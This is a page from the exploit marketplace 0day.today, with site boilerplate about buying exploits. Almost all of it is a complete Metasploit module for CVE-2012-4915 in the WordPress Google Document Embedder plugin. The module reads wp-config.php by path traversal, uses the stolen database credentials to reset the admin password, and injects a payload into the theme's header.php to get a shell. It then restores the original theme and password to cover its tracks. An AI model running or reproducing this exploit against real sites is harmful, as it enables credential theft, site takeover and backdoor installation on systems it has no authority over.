0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
WordPress Plugin Google Document Embedder Arbitrary File Disclosure
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rbmysql' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure', 'Description' => %q{ This module exploits an arbitrary file disclosure flaw in the WordPress blogging software plugin known as Google Document Embedder. The vulnerability allows for database credential disclosure via the /libs/pdf.php script. The Google Document Embedder plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL server is exposed on a accessible IP and Wordpress has filesystem write access. Please note: The admin password may get changed if the exploit does not run to the end. }, 'Author' => [ 'Charlie Eriksen', ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-4915'], ['OSVDB', '88891'], ['URL', 'http://secunia.com/advisories/50832'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find', }, }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 03 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']), OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']), OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']), OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' plugins_uri = String.new(uri) plugins_uri << datastore['PLUGINSPATH'] plugins_uri << '/' if plugins_uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php", }) if res and res.code == 200 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' plugins_uri = String.new(uri) plugins_uri << datastore['PLUGINSPATH'] plugins_uri << '/' if plugins_uri[-1,1] != '/' admin_uri = String.new(uri) admin_uri << datastore['ADMINPATH'] admin_uri << '/' if plugins_uri[-1,1] != '/' themes_uri = String.new(uri) themes_uri << datastore['THEMESPATH'] themes_uri << '/' if plugins_uri[-1,1] != '/' print_status('Fetching wp-config.php') res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php", 'vars_get' => { 'fn' => "#{rand_text_alphanumeric(4)}.pdf", 'file' => "#{'../' * plugins_uri.count('/')}wp-config.php", } }) if res and res.body =~ /allow_url_fopen/ fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled') elsif res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end config = parse_wp_config(res.body) if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) } fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly") end begin @mysql_handle = ::RbMysql.connect({ :host => config['DB_HOST'], :port => config['DB_PORT'], :read_timeout => 300, :write_timeout => 300, :socket => nil, :user => config['DB_USER'], :password => config['DB_PASSWORD'], :db => config['DB_NAME'] }) rescue Errno::ECONNREFUSED, RbMysql::ClientError, Errno::ETIMEDOUT, RbMysql::AccessDeniedError, RbMysql::HostNotPrivileged fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server') end res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1") if res.nil? or res.size <= 0 fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found') end user = res.first new_password = rand_text_alphanumeric(8) @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'") print_warning("Admin password changed to: #{new_password}") admin_cookie = get_wp_cookie(uri, user[0], new_password) theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie) print_warning("Editing theme #{theme}") set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded) print_status("Calling backdoor") res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{themes_uri}#{theme}/header.php", }) if res and res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content) @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'") print_status("Shell should have been acquired. Disabled backdoor") end def parse_wp_config(body) p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php") print_status("wp-config.php saved in: #{p}") print_status("Parsing config file") values = {} body.each_line do |line| if line =~ /define/ key_pair = line.scan(/('|")([^'"]*)('|")/) if key_pair.length == 2 values[key_pair[0][1]] = key_pair[1][1] end elsif line =~ /table_prefix/ table_prefix = line.scan(/('|")([^'"]*)('|")/) values['DB_PREFIX'] = table_prefix[0][1] end end #Extract the port from DB_HOST and normalize DB_HOST values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306 if values['DB_HOST'] =~ /(localhost|127.0.0.1)/ print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP") values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST']) end return values end def get_wp_cookie(uri, username, password) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}wp-login.php", 'cookie' => 'wordpress_test_cookie=WP+Cookie+check', 'vars_post' => { 'log' => username, 'pwd' => password, 'wp-submit' => 'Log+In', 'testcookie' => '1', }, }) if res and res.code == 200 fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed') elsif res and res.code != 302 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end admin_cookie = '' (res.headers['Set-Cookie'] || '').split(',').each do |cookie| admin_cookie << cookie.split(';')[0] admin_cookie << ';' end if admin_cookie.empty? fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty') end return admin_cookie end def get_wp_theme(admin_uri, admin_cookie) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{admin_uri}theme-editor.php?file=header.php", 'cookie' => admin_cookie, }) if res and res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0 fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access') end nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s)) theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s return [theme, nonce, old_content] end def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{admin_uri}theme-editor.php?", 'cookie' => admin_cookie, 'vars_post' => { '_wpnonce' => nonce, 'theme' => theme, 'newcontent' => new_content, 'action' => 'update', 'file' => 'header.php' }, }) if res and res.code != 302 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end end end # 0day.today [2024-11-15] #